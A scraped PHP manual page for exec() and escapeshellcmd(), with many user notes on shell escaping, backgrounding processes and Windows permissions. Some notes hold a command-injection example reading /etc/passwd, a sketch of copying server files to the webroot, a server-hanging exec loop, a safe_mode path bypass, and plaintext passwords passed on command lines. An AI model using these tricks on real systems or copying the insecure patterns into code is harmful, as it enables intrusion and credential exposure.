        'printf codes: % \ (used to form %.0#-*+d, or \\ \a \b \f \n \r \t \v \" \? \062 \0062 \x032 \u0032 and \U00000032)';

echo "These are the strings we are testing with:".PHP_EOL.$test.PHP_EOL;
$cmd = $test;
$cmd = str_replace(array('\\', '%'), array('\\\\', '%%'), $test);
$cmd = escapeshellarg($cmd);

echo PHP_EOL."This is the output using the escaping mechanism given:".PHP_EOL;
echo `printf $cmd | cat`.PHP_EOL;

echo PHP_EOL."They should match exactly".PHP_EOL;
?>
carlos at wfmh dot org dot pl dot REMOVE dot COM 24-Jun-2010 01:42
Mind it does not escape ! (exclamation mark). So if you want to i.e. printf() commands for later use in shell (i.e. by pasting to the console) you need to escape all exclamation marks or shell will try to process ! as history reference. This approach shall suffice:

<?php $scaped = str_replace('!', '\!', escapeshellarg( $str ) ); ?>
davidwhthomas 08-Jan-2008 11:21
To extract an archive file to a specific folder using exec() :

<?php
$result = exec(escapeshellcmd("tar -xvvf /path/to/archive.tar -C /path/to/extract/to/"));
?>

escapeshellcmd() is used here because I am getting the file path via user input / upload.

DT
Leon 12-Feb-2007 01:31
This function is great -- except when you need to legitimately use an escaped character as part of your command.  The code below leaves the parts of the command that are enclosed within single quotes alone, but escapes the rest eg:

"echo Never use the '<blink>' tag ; cat /etc/passwd"
becomes:
"echo Never use the '<blink>' tag \; cat /etc/passwd"
and not:
"echo Never use the '\<blink\>' tag \; cat /etc/passwd"

i.e, we really want the ';' escaped, but not the HTML tag.  I really needed the code below in order to run the external ImageMagick's 'convert' command properly and safely...

<?php

// Escape whole string
$cmdQ = escapeshellcmd($cmd);

 // Build array of quoted parts, and the same escaped
preg_match_all('/\'[^\']+\'/', $cmd, $matches);
$matches = current($matches);
$quoted = array();
foreach( $matches as $match )
    $quoted[escapeshellcmd($match)] = $match;

// Replace sections that were single quoted with original content
foreach( $quoted as $search => $replace )
    $cmdQ = str_replace( $search, $replace, $cmdQ );

return $cmdQ;

?>
abennett at clarku dot edu 05-Jul-2006 08:59
I've got a php script that needs to pass a username and password via exec to a perl script.  The problem is valid password characters were getting escaped...

Here's a little perl function I wrote to fix it.

sub unescape_string {
      my $string = shift;
      # all these interpolated regex's are slow, so if there's no
      # backslash in the string don't bother with it
      # index() is faster then a regex
      if ( ! index($string,'\\\\') ) {
         return $string;
      }
      my @characters = ('#', '&', ';', '`', '|', '*', '?', '~', '<', '>', '^', '(', ')',
                        '[', ']', '{', '}', '$', '\\', ',', ' ', '\x0A', '\xFF' );
      my $character;
      foreach $character (@characters) {
         $character = quotemeta($character);
         my $pattern = "\\\\(" . $character . ")";
         $string =~ s/$pattern/$1/g;
      }
      return $string;
}

Hope this is useful.
ceejay at trashfactory dot de 15-Mar-2006 01:43
Well guys, i find it very hard that escapeshellarg and escapeshellcmd are forcely run when passing a command to exec, system or popen, when safe_mode is turned on.

Right now, i did not find any working solution to pass commands like this:
cmd -arg1 -arg2 "<BLA varname=\"varvalue\" varname1=\"varvalue1\" />"

it is just the case, that the parameter for arg2 which is a string that looks like an HTML-Tag with various attributes set, all attributes of the string in arg2 gets splitted by the whitespaces within. this wont happen with safe_mode turned off, so it must be one of the escapefunctions, that breaks functionality.

In order to circumvent this, i have made a temporary solution, which dynamically creates a skriptfile (by fopen), which just contains the whole command with arguments, and then execute that skriptfile. i dont like that solution, but in the other hand, safe_mode cannot be easily turned off on that server.
cast3r 13-Sep-2005 02:31
"normal any user on linux can view almost any directory so:
ls / -als will print a complete list of any file in the linux filesystem including its size, security and hidden files as well."
ls / -alsR is the whole filesystem.
docey 12-Apr-2005 02:56
the main reason for quoting a command is that it not multiple  command can be joined. i don't know for sure if this is the right syntax but remeber that this can do some nice security breaks. here's one way of how to know exactly what your trying to break into for.

normal any user on linux can view almost any directory so:
ls / -als will print a complete list of any file in the linux filesystem including its size, security and hidden files as well.

now the output would only become known to php and never will the user be able to view this data unless the php script would actual start to print it out. like passtru does!! but a good php coder knows never to use passtru unless not otherwise possible.

but what would happen if you can direct the output from ls also from that same commandline to a file in the webroot most webserver still default their base-webroot to /var/www/ so storing it there in text file to download it later and you can simply take coffee while checking wich files can be read by php security mode and then simply use the cp command to copy those to the webroot and download them to your own hard-disk. without a list of the files you can only guess where to copy from! and thats harder then guessing the root password.

so if the first command was quoted it is not possible to attach another command because of a syntax error. think of all the thinks you can do once you got a complete list of every file on the filesystem. including mounted once via NFS and others. security starts at keeping the door hidden.

also another nice command for hanging the webserver can be "php <?php while(true){ exec('ls / -als'); }; ?>" this keeps creating a file list on the entire filesystem wich not only keeps the hard-disk(s) bussy but also memory and cpu   wich must store the returned list. so keeping in mind not all command accepted from users can be used blind.

actualy never accept any command from external sources only proven built-in predefined commands should be executed.
trisk at earthling dot net 31-Jan-2005 07:19
This function does not work as shown in the php.net examples.

If you put your encoded filename into double-quotes as they suggest, then it will break on certain characters in filenames, such as ampersand.

For example if you have a filename called "foo & bar.jpg" and you use this function on it, your resulting filename when double-quoted will produce this and not be found:

"foo \& bar.jpg"

If you need to have a single argument where spaces are included then do not use this function with added double-quotes, use escapeshellarg() which encloses the whole string in single quotes.

I do not understand which purpose this particular function is intended for.  I can't see any use for it, unless you pass it through another function and convert spaces " " to "\ ", which would allow you to use the string directly on the command line.


Execute an external program

  • « escapeshellcmd
  • passthru »
  • PHP Manual
  • Program execution Functions
  • Execute an external program

exec

(PHP 4, PHP 5)

exec — Execute an external program

Description

string exec ( string $command [, array &$output [, int &$return_var ]] )

exec() executes the given command.

Parameters

command

The command that will be executed.

output

If the output argument is present, then the specified array will be filled with every line of output from the command. Trailing whitespace, such as \n, is not included in this array. Note that if the array already contains some elements, exec() will append to the end of the array. If you do not want the function to append elements, call unset() on the array before passing it to exec().

return_var

If the return_var argument is present along with the output argument, then the return status of the executed command will be written to this variable.

Return Values

The last line from the result of the command. If you need to execute a command and have all the data from the command passed directly back without any interference, use the passthru() function.

To get the output of the executed command, be sure to set and use the output parameter.

Examples

Example #1 An exec() example

<?php
// outputs the username that owns the running php/httpd process
// (on a system with the "whoami" executable in the path)
echo exec('whoami');
?>

Notes

Warning

When allowing user-supplied data to be passed to this function, use escapeshellarg() or escapeshellcmd() to ensure that users cannot trick the system into executing arbitrary commands.

Note:

If a program is started with this function, in order for it to continue running in the background, the output of the program must be redirected to a file or another output stream. Failing to do so will cause PHP to hang until the execution of the program ends.

Note: When safe mode is enabled, you can only execute files within the safe_mode_exec_dir. For practical reasons, it is currently not allowed to have .. components in the path to the executable.

Warning

With safe mode enabled, the command string is escaped with escapeshellcmd(). Thus, echo y | echo x becomes echo y \| echo x.

See Also

  • system() - Execute an external program and display the output
  • passthru() - Execute an external program and display raw output
  • escapeshellcmd() - Escape shell metacharacters
  • pcntl_exec() - Executes specified program in current process space
  • backtick operator

User Contributed Notes

jbb5044 at gmail dot com 12-Jun-2014 08:51
If you're trying to run something in the background on a system that uses systemd for its init, use the systemd-run utility to start your program in the background. systemd-run will run the command in a transient unit file so that you can query its status with systemctl and view its log with journalctl.

<?php
$lastline = exec('systemd-run --unit=my_unit_name /path/to/my/long_running_program arg1 arg2', $output, $exitval);
?>

systemd-run returns immediately, launching your application for you and keeping track of it, so you don't need to worry so much about a forgotten process running on your server. From here you can query its status with
<?php
$lastline = exec('systemctl status my_unit_name', $output, $exitval);
?>

And see its log with
<?php
$lastline = exec('journalctl -u my_unit_name', $output, $exitval);
?>
Anonymous 06-Mar-2014 07:22
You can add >2&1 to display the data directly (tested on Windows 7 system).
sgbeal at googlemail dot com 26-Feb-2014 08:43
Side-note: regarding the API comment "For practical reasons, it is currently not allowed to have .. components in the path to the executable."

It is still possible to pass the shell as the first command and a relative path to the script as the second, so this limitation/security mechanism is not much of one. "sh" can be used to run non-scripts with relative paths via something like this:

$out = null;
$rc= 0;
exec('sh -c "exec /bin/../bin/ls"', $out, $rc);
print_r( $out);
echo 'rc = '.$rc."\n";

effectively bypassing any "security" gained by the ".." limitation.
alex dot rigg at yoodoo dot biz 07-Sep-2013 12:03
I just tried the following:
exec('cp "/MySite/web/uploads/' .$matches[1][0]. '/startupvids/mp4/'. substr($fileonly,0,strlen($fileonly)-4) .'.mp4"   "/MySite/web/uploads/newfolder/'.$video->getSiteId().'-'.substr($fileonly,0,strlen($fileonly)-4).'.mp4"');

I think exec has an issue with the amount of php commands within the exec - the above doesn't work. To get around this issue put everything into variables before hand so you end up with:

$location1 =  "/MySite/web/uploads/' .$matches[1][0]. '/startupvids/mp4/'. substr($fileonly,0,strlen($fileonly)-4) .'.mp4";

$location2 =  "/MySite/web/uploads/startupvids/mp4/'.$video->getSiteId().'-'.substr($fileonly,0,strlen($fileonly)-4).'.mp4"';

exec('cp '.$location1 .' ' .$location2);
evandrosimenes at gmail dot com 26-Jul-2013 02:47
i have the same problem as philippe.hajjar above, but his solution didnt work to me

my solution was change apache service (on Windows) to logON as an account of network domain instead of local system account.
jtkremer at yahoo dot com 08-Apr-2013 12:25
Run a DOS command and parse it for specific lines

<?php

$i = 0;
exec('ipconfig /all', $response);
foreach($response as $line) {

  $line = $line;

  if (strpos($line, "DNS")>0) {
    print (trim($line));
    echo ("\n");
    }
}

?>
sprunka at gmail dot com 20-Dec-2012 05:01
exec($cmd . " &") did not seem to work for backgrounding a task in linux, but using the pclose(popen($cmd . ' &', 'r')); trick from the Windows advice did work just fine.

This is, of course, without catching and throwing away or catching and saving any output (stdout or stderr) from $cmd.
Matthias Marx 14-Nov-2012 06:46
I had a script calling a powershell script in one function. It worked fine on XP but when we moved to Windows 7 it stopped working. The script seemed to hang and expect a carriage return before it continued.

Adding "echo . |" before calling powershell gave it the desired carriage return:

<?php
exec ( "powershell.exe someScript.ps1" ); // hangs
exec ( "echo . | powershell.exe someScript.ps1 " ); // works
?>
mail at samtuke dot com 16-May-2011 05:52
There are (perhaps insurmountable) difficulties when trying to execute sudo commands from a PHP script and from an external script called by PHP on SELinux enabled machines.

SELinux won't let apache change the group id of the process by default.

You may need to use another solution, like make the PHP script deposit a file in  a directory which is monitored by cron or inotify and which will call another script with root privileges.
bmellink at hotmail dot com 09-Feb-2011 09:02
When calling exec() from within an apache php script, make sure to take care of stdout, stderr and stdin (as in the example below). If you forget this and your shell command produces output the sh and apache deamons may never return (they will normally time out after a few minutes). From the calling web page the script may seem to not return any data.

If you want to start a php process that continues to run independently from apache (with a different parent pid) use nohub. Example:

exec('nohup php process.php > process.out 2> process.err < /dev/null &');
juan at laluca dot com 13-Jan-2011 04:36
I was trying to get an acceslist from a remote computer by executing cacls and parse it in php, all in a  Windows environment with Apache. First i discovered psexec.exe from Windows SysInternals.

But with the following line, I didn´t get anything, it get hunged, although from the command line it worked nice:

<?php exec ('c:\\WINDOWS\\system32\\psexec.exe \\192.168.1.224 -u myuser -p mypassword -accepteula cacls c:\\documents\\RRHH && exit', $arrACL ); ?>

To make it work I just followed the next steps:
- execute services.msc and find the apache service (In my case wampapache)
- Right button>Log On tab and change from Local System Account to a user created account, enter the username and the password and restart the service.

(I added this user to the administrators group to avoid permissions problems but its not recommended...)

It worked! And it may work with IIS too so try it if you have the same poblem....

Hope this helps someone, and sorry for my english
alvaro at demogracia dot com 27-Dec-2010 02:27
In Windows, exec() issues an internal call to "cmd /c your_command". This implies that your command must follow the rules imposed by cmd.exe which includes an extra set of quotes around the full command:

- http://ss64.com/nt/cmd.html

Current PHP versions take this into account and add the quotes automatically, but old versions didn't.

Apparently, the change was made in PHP/5.3.0 yet not backported to 5.2.x because it's a backwards incompatible change. To sum up:

- In PHP/5.2 and older you have to surround the full command plus arguments in double quotes
- In PHP/5.3 and greater you don't have to (if you do, your script will break)

If you are interested in the internals, this is the source code:

sprintf(cmd, "%s /c \"%s\"", TWG(comspec), command);

It can be found at http://svn.php.net/viewvc/ (please find php/php-src/trunk/TSRM/tsrm_win32.c, the comment system doesn't allow the direct link).
Martin Lakes 21-Dec-2010 05:20
Took quite some time to figure out the line I am going to post next. If you want to execute a command in the background without having the script waiting for the result, you can do the following:

<?php
passthru("/usr/bin/php /path/to/script.php ".$argv_parameter." >> /path/to/log_file.log 2>&1 &");
?>

There are a few thing that are important here.

First of all: put the full path to the php binary, because this command will run under the apache user, and you will probably not have command alias like php set in that user.

Seccond: Note 2 things at the end of the command string: the '2>&1' and the '&'. The '2>&1' is for redirecting errors to the standard IO. And the most important thing is the '&' at the end of the command string, which tells the terminal not to wait for a response.

Third: Make sure you have 777 permissions on the 'log_file.log' file

Enojy!
elwiz at 3e dot pl 06-Sep-2010 03:10
On Windows-Apache-PHP servers there is a problem with using the exec command more than once at the same time. If a script (with the exec command) is loaded more than once by the same user at the same time the server will freeze.
In my case the PHP script using the exec command was used as the source of an image tag. More than one image in one HTML made the server stop.
The problem is described here (http://bugs.php.net/bug.php?id=44942) toghether with a solution - stop the session before the exec command and start it again after it.

<?php

session_write_close();
exec($cmd);
session_start();

?>
arharp at gmail dot com 07-Apr-2010 04:19
A simple function to see if exec() is enabled on the server:

<?php
function exec_enabled() {
  $disabled = explode(', ', ini_get('disable_functions'));
  return !in_array('exec', $disabled);
}
?>
florin from syneto net 25-Nov-2009 04:06
A simple way to initialize $output before calling exec() on the same line:
<?php
    exec($command, $output = array());
?>
greg dot fenton at gmail dot com 21-May-2009 06:27
It is possible to configure IIS so that user authentication is against an NT domain.  Giving read & execute permissions to the IUSR_* user only helps for anonymous access.

For non-anonymous, give "Domain Users" read & execute permissions:

 c:> cacls %COMSPEC% /E /G "%USERDOMAIN%\Domain Users":R

or more specifically:

 c:> cacls c:\windows\system32\cmd.exe /E /G MYDOMAIN\Domain Users:R

For security reasons, it is strongly advised to NOT provide the IUSR_* access to cmd.exe at all.
bahri at bahri dot info 20-Mar-2009 10:15
[NOTE BY danbrown AT php DOT net: The following is a Linux script that the contributor of this note suggests be placed in a file named 'pstools.inc.php' to execute a process, check if a process exists, and kill a process by ID.  Inspired by the Windows version at http://php.net/exec#59428 ]

<?php
  function PsExecute($command, $timeout = 60, $sleep = 2) {
        // First, execute the process, get the process ID

        $pid = PsExec($command);

        if( $pid === false )
            return false;

        $cur = 0;
        // Second, loop for $timeout seconds checking if process is running
        while( $cur < $timeout ) {
            sleep($sleep);
            $cur += $sleep;
            // If process is no longer running, return true;

           echo "\n ---- $cur ------ \n";

            if( !PsExists($pid) )
                return true; // Process must have exited, success!
        }

        // If process is still running after timeout, kill the process and return false
        PsKill($pid);
        return false;
    }

    function PsExec($commandJob) {

        $command = $commandJob.' > /dev/null 2>&1 & echo $!';
        exec($command ,$op);
        $pid = (int)$op[0];

        if($pid!="") return $pid;

        return false;
    }

    function PsExists($pid) {

        exec("ps ax | grep $pid 2>&1", $output);

        while( list(,$row) = each($output) ) {

                $row_array = explode(" ", $row);
                $check_pid = $row_array[0];

                if($pid == $check_pid) {
                        return true;
                }

        }

        return false;
    }

    function PsKill($pid) {
        exec("kill -9 $pid", $output);
    }
?>
skuberski at hotmail dot com 28-Feb-2009 05:40
If you're on windows, advice to use Sysinternals (procmon.exe from live.sysinternals.com) is pretty darn good.  Saved me also a lot of time, and keeped me from having to open up my entire server to the anonymous web user.
dell_petter at hotmail dot com 04-Feb-2009 11:52
(This is for linux users only).

We know now how we can fork a process in linux with the & operator.
And by using command: nohup MY_COMMAND > /dev/null 2>&1 & echo $! we can return the pid of the process.

This small class is made so you can keep in track of your created processes ( meaning start/stop/status ).

You may use it to start a process or join an exisiting PID process.

<?php
    // You may use status(), start(), and stop(). notice that start() method gets called automatically one time.
    $process = new Process('ls -al');

    // or if you got the pid, however here only the status() metod will work.
    $process = new Process();
    $process.setPid(my_pid);
?>

<?php
    // Then you can start/stop/ check status of the job.
    $process.stop();
    $process.start();
    if ($process.status()){
        echo "The process is currently running";
    }else{
        echo "The process is not running.";
    }
?>

<?php
/* An easy way to keep in track of external processes.
 * Ever wanted to execute a process in php, but you still wanted to have somewhat controll of the process ? Well.. This is a way of doing it.
 * @compability: Linux only. (Windows does not work).
 * @author: Peec
 */
class Process{
    private $pid;
    private $command;

    public function __construct($cl=false){
        if ($cl != false){
            $this->command = $cl;
            $this->runCom();
        }
    }
    private function runCom(){
        $command = 'nohup '.$this->command.' > /dev/null 2>&1 & echo $!';
        exec($command ,$op);
        $this->pid = (int)$op[0];
    }

    public function setPid($pid){
        $this->pid = $pid;
    }

    public function getPid(){
        return $this->pid;
    }

    public function status(){
        $command = 'ps -p '.$this->pid;
        exec($command,$op);
        if (!isset($op[1]))return false;
        else return true;
    }

    public function start(){
        if ($this->command != '')$this->runCom();
        else return true;
    }

    public function stop(){
        $command = 'kill '.$this->pid;
        exec($command);
        if ($this->status() == false)return true;
        else return false;
    }
}
?>
henze 12-Nov-2008 05:57
if you are using exec on a w2k3 machine with IIS and after a few times the page or IIS just hangs, you should add: " && exit" to your command.
this way the cmd will always exit.

example:
<?php
    $computername = "MyComputer";
    $ip = gethostbyname($computername);
    exec("ping ".$ip." -n 1 -w 90 && exit", $output);
    print_r($output);
?>

You could also try this when you have problems with the system-function or any other method you use to execute a program!

Maybe also useful when using apache, but I'm not sure about that!
ben 19-Oct-2008 03:04
If you're having problems with any of the exec(), system() etc. functions not working properly on windows, finding the cause can be very frustrating, as is hard to diagnose.

I've found the free Process Monitor from Sysinternals (procmon.exe from live.sysinternals.com) to be VERY helpful here. You can monitor anything done by e.g. php.exe, cmd.exe and yourprogram.exe and it will list every access to files, registry etc. with return codes. You usually find some ACCESS DENIED somehwer in the log, correct the file's permissions and it works.

Has saved me a LOT of time.
sbourazanis at hotmail dot com 18-Oct-2008 11:49
Problem:
PHP's System program execution functions do not seem to execute Win32 GUI applications.

Solution:
1.Give %system32%\cmd.exe read/execute permissions to IUSR account.
Why ?:
Delimits the unable to fork errors.

2.Make your web server's executable to interact with desktop and restart it.
Why ?:
If not you cannot see the GUI

3a.Use SysInternals Psexec with -i -d switches:
<?php
exec("Psexec.exe -i -d  yourexe.exe");
?>
or
3b.Use Windows scripting shell COM object with false parameter to its Run Function:
<?php
function _exec($cmd)
{
   $WshShell = new COM("WScript.Shell");
   $oExec = $WshShell->Run($cmd, 0,false);
   echo $cmd;
   return $oExec == 0 ? true : false;
}_exec("youexe.exe");
?>
Why ?:
If you use just exec then PHP waits for exe to terminate, but psexec with -d option or WshShell->Run with false option overpass this limitation and do not wait for process termination.

I hope this will help all from months' headaches...
Arno van den Brink 13-Oct-2008 05:04
This will execute $cmd in the background (no cmd window) without PHP waiting for it to finish, on both Windows and Unix.

<?php
function execInBackground($cmd) {
    if (substr(php_uname(), 0, 7) == "Windows"){
        pclose(popen("start /B ". $cmd, "r"));
    }
    else {
        exec($cmd . " > /dev/null &");
    }
}
?>
molokoloco at gmail dot com 08-Oct-2008 10:08
On window.... escape char is "^"
>> this is working :

exec("\"C:\\Program Files\\VideoLAN\\VLC\\vlc\" get_video?video_id=aSW7YTk7tFs^&t=hash^&fmt=18 --sout=#transcode{ vcodec=h264,vb=768,scale=1,acodec=mpga,ab=96,channels=2 }:duplicate{ dst=std{access=udp,mux=ts,dst=239.192.1.1:1235} } ");

The parameters in the URL (&t=) not breaking the command now.....
philippe dot hajjar at montgomerycollege dot edu 25-Sep-2008 05:21
I was having trouble using the PHP exec command to execute any batch file.   Executing other commands (i.e., "dir") works fine).  But if I executed a batch file, I receieved no output from the exec command.

The server setup I have consists of Windows Server 2003 server running IIS6 and PHP 5.2.3.  On this server, I have:

1.  Granted execute permissions to the Internet User  on c:\windows\system32\cmd.exe.
2.  Granted Everyone->Full Control to the directory in which the batch file is written.
3.  Granted Everyone->Full Control on the entire c:\cygwin\bin directory and its contents.
4.  Granted the Internet User "log on as batch" permissions.
5.  Specified the full path to each file being executed.
6.  Tested these scripts running from the command line on the server and they work just fine.
7.  Ensured that %systemroot%\system32 is in the system path.

It turns out that even with all of the above in place on the server, I had to specify the full path to cmd.exe in the exec call.

When I used the call:
$output = exec("c:\\windows\\system32\\cmd.exe /c $batchFileToRun");

then everything worked fine.  In my situation, $batchFileToRun was the actual system path to the batch file (i.e., the result of a call to realpath()).
frantik 18-Sep-2008 08:53
<?php

function _exec($cmd)
{
   $WshShell = new COM("WScript.Shell");
   $cwd = getcwd();
   if (strpos($cwd,' '))
   {  if ($pos = strpos($cmd, ' '))
      {  $cmd = substr($cmd, 0, $pos) . '" ' . substr($cmd, $pos);
      }
      else
      {  $cmd .= '"';
      }
      $cwd = '"' . $cwd;
   }
   $oExec = $WshShell->Run("cmd /C \" $cwd\\$cmd\"", 0,true);

   return $oExec == 0 ? true : false;
}
?>

capture output using ob_start() if you like. Extra code looks for spaces and adds quote marks as they are needed
sandaimespaceman at gmail dot com 01-Sep-2008 09:13
You can't just let it execute a macro/bot such as AutoIt and let it start video encoder, because the www-data user doesn't have a display manager
I tried to use exec('firefox') but Firefox doesn't show up.
aurora-glacialis at gmx dot de 21-Aug-2008 11:48
The article on exec() tells you to use passthrough() if you want to get more than the last line of output from a command. However mor appropriate would be to refer to shell_exec(), since passthrough will output the result (just like print()) whereas shell_exec() will give the whole output as a $string, which is more likely the thing you want if you are not content with exec() delivering only the last line as $string
stephen dot hughes at gmail dot com 18-Aug-2008 05:03
For windows, winnt.. IIS6 and php 5 using the dll.

I was trying to figure out why exec commands were not working. There is a post here suggesting you add iusr to the whole C drive which I am not ok with.

I eventually found that if I allowed the iusr account to access C:\windows\system32\cmd.exe things worked.

Hope this helps.

~Stephen
engtejeda at hotmail dot com 15-Jun-2008 08:09
Task: Invoke psexec from php to execute a command on a remote computer.
Environment:
-Windows XP Professional, Service Pack 3
-Apache 2.2 Installed (I used the version bundled in XAMP 1.6.6a)
-The executable to be run must be in your system PATH!!
PHP Script:
<?php
exec ("psexec -u someusername -p somepassword -c \\\\someipaddressORHostname someprogram.exe");
#sample command
#exec ("psexec -u JoeShmoe -p ShrimpLover529 -c \\\\192.168.22.156 cleanfiles.exe");
?>
Problems:
-I kept getting Access Denied Errors
Observation(s):
-I noticed that when I put that same psexec command in a batch file and started that batch file with the system account, I would get the same error
-This lead me to the cause
Cause:
-Apache was running as the system account, and so any process invoked by php was started as the system account
-Starting a batch file that accesses a remote computer using the local system account is a NO NO (at least for my setup)
Solution:
-Configure the Apache service to start as an account other than system (It must have appropriate permissions on the local computer)
Start-->Run-->Services.msc-->RightClick Apache Service-->Properties-->Logon Tab-->Enter in value for "Log on As"

Now load the same php page again.
Look at the error.log again
You should see an error code 0 returned for the process executed, indicating a successful run
dweston at hotmail dot co dot uk 13-May-2008 10:29
I was thinking on how to make a wee command that can be used for getting the Memory AND CPU usage of a program.

<?php

function GetProgCpuUsage($program)
{
    if(!$program) return -1;

    $c_pid = exec("ps aux | grep ".$program." | grep -v grep | grep -v su | awk {'print $3'}");
    return $c_pid;
}

function GetProgMemUsage($program)
{
    if(!$program) return -1;

    $c_pid = exec("ps aux | grep ".$program." | grep -v grep | grep -v su | awk {'print $4'}");
    return $c_pid;
}

?>

What this does is get the program's information, and splits it into either the CPU or MEM usage.

Examples:

<?php

    echo "CPU use of Program: ".GetProgCpuUsage($randomprogram)."%";
    echo "Memuse of Program: ".GetProgMemUsage($randomprogram)."%";

?>

Nice and simple. :)
stefanfj at gmx dot de 03-Mar-2008 04:29
If you try to use the psexec from Sysinternals on your Windows Server for background-processes that need special user-rights and get an "Access denied" oder "Wrong user or password" notice, although your username and password is right, this could help you getting around this bug.

<?php
$command = "c:\directory1\psexec.exe \\127.0.0.1 -u username -p password c:\directory2\commandtoexecute.exe";
exec($command);
?>
jim dot filter at gmail dot com 03-Mar-2008 03:45
You can embed php into a batch file so that it is essentially "double-click" to run.  This might be useful for script that does search and replace in numerous files or other tedious task that are too complex for batch files but don't warrant greater attention.  Its really quite simple I'm sure someone has thought of it before. You can add whatever batch code you want after :START just make sure you exit before you get to */ so Windows doesn't fuss. @php %0  basically is saying "Open this file with php and run its php code". Obviously its really only a useful trick on Windows, I only really use it for update scripts on our company's servers. I suppose you could also just set Windows to open php files with php.exe but that seems like a rather stupid thing to do as you would most often want to edit php files, not run them directly. @pause is optional of course, but you may want to look at what php outputted to the command line before it exits.

example.bat:

@GOTO START
<?php

  ...php code...

  /*
  :START
  ...batch code...
  @php %0
  @pause
  @exit
  */
?>
dr_jones153 at hotmail dot com 23-Jan-2008 04:04
If SAFE_MODE is on, and you are trying to run a script in the background by appending "> /dev/null 2> /dev/null & echo $!" to the command line, the browser will hang until the script is done.

My solution:

Create a shell script (ex. runscript.sh) which contains the execution line for the script you are trying to run in the background.
The runscript.sh is run by an exec() call without the redirect string, which is now placed in the runscript.sh.

runscript.sh will return almost immediately because output of the original script is redirected, and so will not hang your browser and the script runs fine in the background.
bzz at mail dot com 11-Jan-2008 09:02
//if you just exec wshost.exe with the .vbs file as an argument, it will run fine.

<?php
//Execute a .vbs file
$f = "test.vbs";
execu("whost $f");
?>
feedback at nospam fraktus dot com 01-Aug-2007 08:53
When I tried to exec in my dreamhost virtual host nothing worked until I moved my binary outside of the web directory and then it worked without any problem. You may have the same problem.
bachya1208 at gmail dot com 31-Jul-2007 09:24
Does anyone know of any restrictions on using exec() in a virtual host?  I have complete control of my apache server, but obviously prefer to section content into virtual hosts.

exec() doesn't do anything when applied to code inside a virtual host for me...
Farhad Malekpour 26-Jul-2007 01:24
If you're trying to use exec in a script that uses signal SIGCHLD, (i.e. pcntl_signal(SIGCHLD,'sigHandler');) it will return -1 as the exit code of the command (although output is correct!). To resolve this remove the signal handler and add it again after exec. Code will be something like this:

...
pcntl_signal(SIGCHLD, 'sigHandler');
...
...
(more codes, functions, classes, etc)
...
...
// Now executing the command via exec
// Clear the signal
pcntl_signal(SIGCHLD, SIG_DFL);
// Execute the command
exec('mycommand',$output,$retval);
// Set the signal back to our handler
pcntl_signal(SIGCHLD, 'sigHandler');
// At this point we have correct value of $retval.

Same solution can apply to system and passthru as well.
WindowsPHPUser 11-Jul-2007 08:42
I had trouble getting the program execution functions to work on a Windows server, even though it worked on my test machine.  Here is something that helped:

First, set the security permissions on the exe to allow USR_MachineName to execute the program.

Then I changed the 'Log on as Batch Job' local security policy to include the IUSR account (and rebooted).  After I made that change, the programs were allowed to run.

I also limited the permissions for the IUSR account to read and execute only.
skchandon at skchandon dot com 25-Apr-2007 04:46
PHP Exec : Delete statement execution problem
If filename is blank for exec: delete statement then it hangs the php execution, hence have to trap it as follows

<?php
$fname=$_POST["fname"];
 if ($fname!="")                    //  TRAP
 {  exec ("del c:\\temp\\$fname"); }
 ?>
Zack / Nog 22-Apr-2007 07:23
Hey guys, I just wanted to drop a note after spending , i dunno 6 hours or so on getting exec() to work on an outside program with Win2k3 on IIS6 and PHP installed as an ISAPI module. I originally had it installed with Ensim, but it got confusing, so after a while of it not working I installed the latest PHP 5 binaries.

First thing I did was download the latest PHP 5 Binaries for Windows, but NOT THE INSTALLER. I dunno what the installer does, but I read previously not to use it, so I set it up like that.

After that I went into IIS manager, clicked on Add Extensions, added .PHP and changed the executing location to c:\php\php5isapi.dll. Then I went into the website portion, right clicked on it, went to properties, clicked on the Home site tab, clicked Configure and added an extension with extention = .php and executable = c:\php\php5isapi.dll.

After this , the thing that FINALLY WORKED! was , well, see at first I setup permissions by adding IUSR_MyCompName to the allowed list, and checked Full control, so i thought it had permissions.... Well, it was being overwritten which is what bit me...

I went into the C: drive, and right clicked and went to Properties, clicked on the Security tab, and then clicked on Advanced in the bottom right. If you see any IUSR with Deny, simply remove it.

Then right click on c:\php and do the same, after all Deny's have been deleted (Which override allows, which was my issue), go into c:\php and open the security tab, make sure IUSR_yourcompname is added as allow, and then do the same for c:\yoursoftwarefolder\ so your software has the same permissions.

The deny thing on C: overriding my c:\folder with allow was blowing it all up for me, I deleted the deny and made sure IUSR_mycompname was with full control on my outside apps file, and VUALA !!!

Theres now some trouble with it asking for a confirmation, but i'll figure that out later, i can at least run it without troubles :)

ALSO! DO NOT FORGET! Add C:\php and C:\outsidesoftwarefolder as Environment Variables to the Path variable in your system. It's easy, just right click my comp, properties, click advanced tab, enviornment variable button at the bottom, in the second scrolling list find the one with name of lowercase path, double click it, and on the end, add a semi-colon to end the last folder and type your folder location

so if it was originally c:\test;c:\windows\system32   and you wanna add php, make it read c:\test;c:\windows\system32;c:\php

Hope this helps someone , the thing that helped the most was the Advanced button in the security tab and removing the denies, which take ownership OVER the allows.

... My 2 cents :)
sirnuke at gmail dot com 27-Sep-2006 07:26
Note that on Linux/UNIX/etc, both the command and any parameters you send is visible to anyone with access to ps.

For example, take some php code that calls an external program, and sends a sort of password as a parameter.

<?php
exec("/usr/bin/secureprogram password");
?>

The entire string (actually probably something like "secureprogram password") will be visible to any user that executes ps -A -F.  If you are going to be doing a lot of external calling, or any of it needs to be somewhat secure, you are probably better off writing a php extension.
sinisa dot dukaric at gmail dot com 16-Aug-2006 04:10
Recently I had to do some "root" stuff via PHP - I could do it through cronjob based on the database, but since I was too lazy with doing that, I just wrote a shell script to create all the IMAP stuff, chown properly all the Maildirs and provision the user on the local system.

Executing that command as another user from inside of PHP was like this...

<code>
@exec("echo 'apache' | /usr/bin/sudo -u mail -S /var/www/html/mailset.sh $name");
</code>

"Advantage" is that you can run in this way commands as any sudoer on your system which can be fine-tuned and pretty useful. But again - password is echoed in cleartext and option "-S" tells sudo to take password from stdin which he does of course.
Major security risk - do it only if you really need to run some commands as different users (nologin users) and if you are really lazy :)

Now, my solution is a cronjob which runs every 5 mins and gets datasets from the MySQL table and does the work without exploiting any exec() from within PHP - which is the right way to do it.
Jelsamino 11-May-2006 02:41
If you need generate new data .htpasswd file:

<?php
$command="htpasswd -nb ".$login."".$password;
exec($command,$res);
echo $res[0];
?>

Luck!!!!!!!
29-Mar-2006 01:12
I've done a C program to act as a "timeout controller" process, by forking itself and executing some other command received as parameter.

Then, in PHP I have a function that calls commands this way:

<?php
...
